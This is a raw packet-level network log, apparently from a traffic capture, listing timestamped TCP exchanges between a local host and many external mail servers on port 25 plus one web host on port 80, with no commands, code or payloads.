Jan 7, 2022 15:54:12.439590931 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.439629078 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.439661026 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439687014 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439713001 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439717054 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.439737082 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439762115 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439771891 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.439805031 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.439907074 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439908028 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.439933062 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439958096 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439980030 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.440005064 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.440067053 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.440093040 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.440116882 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.440179110 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.440203905 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.440227985 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.440263033 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.440303087 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.466155052 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.466238022 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.466247082 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.466274977 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.466280937 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.466303110 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.466321945 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.466434002 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.466588020 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.466671944 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.466763020 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.466804028 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.466841936 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.466877937 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.466911077 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.466937065 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.466972113 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467036009 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467072010 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467098951 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467210054 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467242002 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467273951 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467298985 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467356920 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467385054 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467411041 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467474937 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467557907 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467586040 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467680931 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467709064 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467727900 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467746019 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.467772961 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.493052006 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.493089914 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.493120909 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.493149042 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.493577957 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.493613005 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.520164967 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.525984049 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.592200994 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.592278004 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.703510046 CET	25	49774	91.136.8.47	192.168.2.3
Jan 7, 2022 15:54:12.703731060 CET	49774	25	192.168.2.3	91.136.8.47
Jan 7, 2022 15:54:12.748229027 CET	25	49774	91.136.8.47	192.168.2.3
Jan 7, 2022 15:54:12.753288031 CET	25	49774	91.136.8.47	192.168.2.3
Jan 7, 2022 15:54:12.753456116 CET	49774	25	192.168.2.3	91.136.8.47
Jan 7, 2022 15:54:12.797657967 CET	25	49774	91.136.8.47	192.168.2.3
Jan 7, 2022 15:54:13.270539045 CET	49779	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:13.288521051 CET	49773	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:13.291384935 CET	25	49779	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:13.291517019 CET	49779	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:13.362099886 CET	25	49779	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:13.362250090 CET	49779	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:13.383030891 CET	25	49779	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:13.383055925 CET	25	49779	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:13.383294106 CET	49779	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:13.404387951 CET	25	49779	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:13.404531002 CET	49779	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:13.404567003 CET	49779	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:13.425501108 CET	25	49779	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:13.425653934 CET	49779	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:13.425952911 CET	25	49779	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:13.426014900 CET	49779	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:13.485407114 CET	25	49774	91.136.8.47	192.168.2.3
Jan 7, 2022 15:54:13.485644102 CET	49774	25	192.168.2.3	91.136.8.47
Jan 7, 2022 15:54:13.529911995 CET	25	49774	91.136.8.47	192.168.2.3
Jan 7, 2022 15:54:13.541313887 CET	25	49774	91.136.8.47	192.168.2.3
Jan 7, 2022 15:54:13.585762978 CET	49774	25	192.168.2.3	91.136.8.47
Jan 7, 2022 15:54:13.586488962 CET	49774	25	192.168.2.3	91.136.8.47
Jan 7, 2022 15:54:13.586510897 CET	49774	25	192.168.2.3	91.136.8.47
Jan 7, 2022 15:54:13.631011963 CET	25	49774	91.136.8.47	192.168.2.3
Jan 7, 2022 15:54:13.631052017 CET	25	49774	91.136.8.47	192.168.2.3
Jan 7, 2022 15:54:13.631064892 CET	25	49774	91.136.8.47	192.168.2.3
Jan 7, 2022 15:54:13.631143093 CET	49774	25	192.168.2.3	91.136.8.47
Jan 7, 2022 15:54:13.631949902 CET	25	49774	91.136.8.47	192.168.2.3
Jan 7, 2022 15:54:13.632045984 CET	49774	25	192.168.2.3	91.136.8.47
Jan 7, 2022 15:54:13.754595041 CET	49780	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:13.775790930 CET	25	49780	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:13.775937080 CET	49780	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:13.907099962 CET	25	49780	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:13.907494068 CET	49780	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:13.928379059 CET	25	49780	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:14.030889034 CET	25	49780	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:14.031085968 CET	49780	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:14.052104950 CET	25	49780	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:14.052128077 CET	25	49780	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:14.052335024 CET	49780	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:14.052366972 CET	49780	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:14.073249102 CET	25	49780	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:14.073362112 CET	49780	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:14.073729992 CET	25	49780	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:14.073796034 CET	49780	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:14.282246113 CET	49781	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:14.324517965 CET	25	49781	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:14.324615002 CET	49781	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:15.976325989 CET	49766	25	192.168.2.3	193.239.71.112
Jan 7, 2022 15:54:16.284177065 CET	25	49775	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:16.389230013 CET	25	49781	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:16.476876020 CET	49781	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:16.477222919 CET	49775	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:19.290322065 CET	49773	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:21.106776953 CET	49775	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:21.106801987 CET	49781	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:21.149162054 CET	25	49781	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:21.150742054 CET	25	49781	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:21.150880098 CET	49781	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:21.167248964 CET	25	49775	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:21.167435884 CET	49775	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:21.192784071 CET	25	49781	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:21.227710962 CET	25	49775	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:21.227828026 CET	49775	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:21.281928062 CET	25	49781	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:21.282037020 CET	49781	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:21.309977055 CET	25	49775	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:21.310102940 CET	49775	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:21.310127974 CET	49775	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:21.310394049 CET	49782	25	192.168.2.3	193.239.71.112
Jan 7, 2022 15:54:21.324461937 CET	25	49781	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:21.370309114 CET	25	49775	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:21.370441914 CET	49775	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:21.370452881 CET	25	49775	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:21.370510101 CET	49775	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:21.370527983 CET	25	49775	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:21.370573997 CET	49775	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:21.381999016 CET	49783	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:21.397598028 CET	25	49781	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:21.397716045 CET	49781	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:21.397753000 CET	49781	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:21.398097992 CET	49784	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:21.401570082 CET	49785	25	192.168.2.3	98.136.96.77
Jan 7, 2022 15:54:21.439903975 CET	25	49784	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:21.439929008 CET	25	49781	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:21.439939976 CET	25	49781	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:21.439995050 CET	49784	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:21.440259933 CET	25	49781	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:21.440274954 CET	25	49781	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:21.440330029 CET	49781	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:21.440382957 CET	49781	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:21.477653980 CET	49786	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:21.498555899 CET	25	49786	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:21.498672962 CET	49786	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:21.532896996 CET	25	49785	98.136.96.77	192.168.2.3
Jan 7, 2022 15:54:21.533039093 CET	49785	25	192.168.2.3	98.136.96.77
Jan 7, 2022 15:54:21.534281015 CET	49785	25	192.168.2.3	98.136.96.77
Jan 7, 2022 15:54:21.573681116 CET	25	49786	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:21.573822975 CET	49786	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:21.594579935 CET	25	49786	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:21.594616890 CET	25	49786	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:21.594758034 CET	49786	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:21.615478992 CET	25	49786	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:21.615628958 CET	49786	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:21.615658045 CET	49786	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:21.636560917 CET	25	49786	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:21.636722088 CET	49786	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:21.636946917 CET	25	49786	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:21.637129068 CET	49786	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:21.665024996 CET	25	49785	98.136.96.77	192.168.2.3
Jan 7, 2022 15:54:21.665117025 CET	49785	25	192.168.2.3	98.136.96.77
Jan 7, 2022 15:54:21.665431976 CET	25	49785	98.136.96.77	192.168.2.3
Jan 7, 2022 15:54:21.665501118 CET	49785	25	192.168.2.3	98.136.96.77
Jan 7, 2022 15:54:21.689342976 CET	49787	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:21.716022968 CET	25	49787	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:21.716203928 CET	49787	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:21.716388941 CET	49787	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:21.743360043 CET	25	49787	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:21.743491888 CET	49787	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:21.756742954 CET	49788	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:21.887655973 CET	25	49788	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:21.887841940 CET	49788	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:21.887965918 CET	49788	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:21.915538073 CET	49789	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:22.018860102 CET	25	49788	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:22.125346899 CET	25	49788	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:22.125380039 CET	25	49788	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:22.125510931 CET	49788	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:22.125926971 CET	49788	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:23.502098083 CET	25	49784	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:23.502304077 CET	49784	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:23.544393063 CET	25	49784	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:23.546056032 CET	25	49784	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:23.546238899 CET	49784	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:23.588156939 CET	25	49784	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:23.697773933 CET	25	49784	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:23.697967052 CET	49784	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:23.739773035 CET	25	49784	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:23.810422897 CET	25	49784	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:23.810586929 CET	49784	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:23.810609102 CET	49784	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:23.810971022 CET	49790	25	192.168.2.3	91.136.8.47
Jan 7, 2022 15:54:23.852994919 CET	25	49790	91.136.8.47	192.168.2.3
Jan 7, 2022 15:54:23.853130102 CET	25	49784	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:23.853149891 CET	49790	25	192.168.2.3	91.136.8.47
Jan 7, 2022 15:54:23.853152037 CET	25	49784	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:23.853789091 CET	25	49784	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:23.853859901 CET	49784	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:23.853873968 CET	25	49784	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:23.853925943 CET	49784	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:23.894248009 CET	25	49790	91.136.8.47	192.168.2.3
Jan 7, 2022 15:54:24.351962090 CET	49782	25	192.168.2.3	193.239.71.112
Jan 7, 2022 15:54:24.492608070 CET	49783	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:24.945764065 CET	49789	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:26.567599058 CET	49791	25	192.168.2.3	98.136.96.77
Jan 7, 2022 15:54:26.691565990 CET	25	49791	98.136.96.77	192.168.2.3
Jan 7, 2022 15:54:26.691689968 CET	49791	25	192.168.2.3	98.136.96.77
Jan 7, 2022 15:54:26.778366089 CET	49792	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:26.815244913 CET	25	49791	98.136.96.77	192.168.2.3
Jan 7, 2022 15:54:26.815392971 CET	49791	25	192.168.2.3	98.136.96.77
Jan 7, 2022 15:54:26.909435987 CET	25	49792	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:26.909575939 CET	49792	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:26.938733101 CET	25	49791	98.136.96.77	192.168.2.3
Jan 7, 2022 15:54:26.938751936 CET	25	49791	98.136.96.77	192.168.2.3
Jan 7, 2022 15:54:26.938882113 CET	49791	25	192.168.2.3	98.136.96.77
Jan 7, 2022 15:54:27.041685104 CET	25	49792	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:27.041800976 CET	49792	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:27.062861919 CET	25	49791	98.136.96.77	192.168.2.3
Jan 7, 2022 15:54:27.062928915 CET	25	49791	98.136.96.77	192.168.2.3
Jan 7, 2022 15:54:27.063003063 CET	49791	25	192.168.2.3	98.136.96.77
Jan 7, 2022 15:54:27.063016891 CET	49791	25	192.168.2.3	98.136.96.77
Jan 7, 2022 15:54:27.063020945 CET	49791	25	192.168.2.3	98.136.96.77
Jan 7, 2022 15:54:27.063441038 CET	49793	25	192.168.2.3	67.195.204.77
Jan 7, 2022 15:54:27.172616005 CET	25	49792	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:27.173239946 CET	25	49792	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:27.173357010 CET	49792	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:27.176865101 CET	25	49793	67.195.204.77	192.168.2.3
Jan 7, 2022 15:54:27.176975012 CET	49793	25	192.168.2.3	67.195.204.77
Jan 7, 2022 15:54:27.186451912 CET	25	49791	98.136.96.77	192.168.2.3
Jan 7, 2022 15:54:27.186470985 CET	25	49791	98.136.96.77	192.168.2.3
Jan 7, 2022 15:54:27.205024958 CET	49794	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.260401011 CET	25	49794	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.260493994 CET	49794	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.293348074 CET	25	49793	67.195.204.77	192.168.2.3
Jan 7, 2022 15:54:27.293606997 CET	49793	25	192.168.2.3	67.195.204.77
Jan 7, 2022 15:54:27.305840015 CET	25	49792	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:27.306664944 CET	25	49792	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:27.306782007 CET	49792	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:27.306804895 CET	49792	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:27.306920052 CET	25	49792	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:27.306967974 CET	49792	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:27.407016039 CET	25	49793	67.195.204.77	192.168.2.3
Jan 7, 2022 15:54:27.409050941 CET	25	49793	67.195.204.77	192.168.2.3
Jan 7, 2022 15:54:27.409215927 CET	49793	25	192.168.2.3	67.195.204.77
Jan 7, 2022 15:54:27.437661886 CET	25	49792	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:27.437681913 CET	25	49792	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:27.437695980 CET	25	49792	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:27.437832117 CET	49795	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.493722916 CET	25	49795	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.493825912 CET	49795	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.523148060 CET	25	49793	67.195.204.77	192.168.2.3
Jan 7, 2022 15:54:27.523173094 CET	25	49793	67.195.204.77	192.168.2.3
Jan 7, 2022 15:54:27.523266077 CET	49793	25	192.168.2.3	67.195.204.77
Jan 7, 2022 15:54:27.523304939 CET	49793	25	192.168.2.3	67.195.204.77
Jan 7, 2022 15:54:27.523369074 CET	49793	25	192.168.2.3	67.195.204.77
Jan 7, 2022 15:54:27.523804903 CET	49796	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:27.524319887 CET	25	49794	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.524457932 CET	49794	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.579781055 CET	25	49794	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.579813004 CET	25	49794	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.580045938 CET	49794	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.633697987 CET	25	49795	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.633836985 CET	49795	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.636753082 CET	25	49793	67.195.204.77	192.168.2.3
Jan 7, 2022 15:54:27.636778116 CET	25	49793	67.195.204.77	192.168.2.3
Jan 7, 2022 15:54:27.636946917 CET	25	49794	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.637079000 CET	49794	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.637273073 CET	25	49796	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:27.637362003 CET	49796	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:27.653846979 CET	49797	25	192.168.2.3	74.208.5.20
Jan 7, 2022 15:54:27.689692020 CET	25	49795	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.689716101 CET	25	49795	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.689814091 CET	49795	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.705280066 CET	25	49794	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.705435038 CET	49794	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.705454111 CET	49794	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.751130104 CET	25	49796	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:27.751303911 CET	49796	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:27.760843992 CET	25	49794	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.760900021 CET	25	49794	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.760950089 CET	49794	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.760994911 CET	49794	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.763442039 CET	25	49795	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.763552904 CET	49795	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.787797928 CET	25	49797	74.208.5.20	192.168.2.3
Jan 7, 2022 15:54:27.787914991 CET	49797	25	192.168.2.3	74.208.5.20
Jan 7, 2022 15:54:27.826690912 CET	25	49795	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.826811075 CET	49795	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.826930046 CET	49795	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.864739895 CET	25	49796	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:27.864769936 CET	25	49796	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:27.864864111 CET	49796	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:27.882988930 CET	25	49795	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.883085012 CET	49795	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.883126974 CET	25	49795	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:27.883179903 CET	49795	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:27.922847986 CET	25	49797	74.208.5.20	192.168.2.3
Jan 7, 2022 15:54:27.922877073 CET	25	49797	74.208.5.20	192.168.2.3
Jan 7, 2022 15:54:27.922940969 CET	49797	25	192.168.2.3	74.208.5.20
Jan 7, 2022 15:54:27.922971010 CET	49797	25	192.168.2.3	74.208.5.20
Jan 7, 2022 15:54:27.923284054 CET	49798	25	192.168.2.3	74.208.5.22
Jan 7, 2022 15:54:27.933600903 CET	49799	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:27.980076075 CET	25	49796	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:27.980132103 CET	25	49796	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:27.980185032 CET	49796	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:27.980217934 CET	49796	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:27.980222940 CET	49796	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:27.992206097 CET	25	49799	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:27.992307901 CET	49799	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:27.993432045 CET	49800	25	192.168.2.3	193.239.71.113
Jan 7, 2022 15:54:28.056730986 CET	25	49797	74.208.5.20	192.168.2.3
Jan 7, 2022 15:54:28.056822062 CET	25	49798	74.208.5.22	192.168.2.3
Jan 7, 2022 15:54:28.056915045 CET	49798	25	192.168.2.3	74.208.5.22
Jan 7, 2022 15:54:28.093650103 CET	25	49796	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:28.094865084 CET	25	49796	67.195.204.79	192.168.2.3
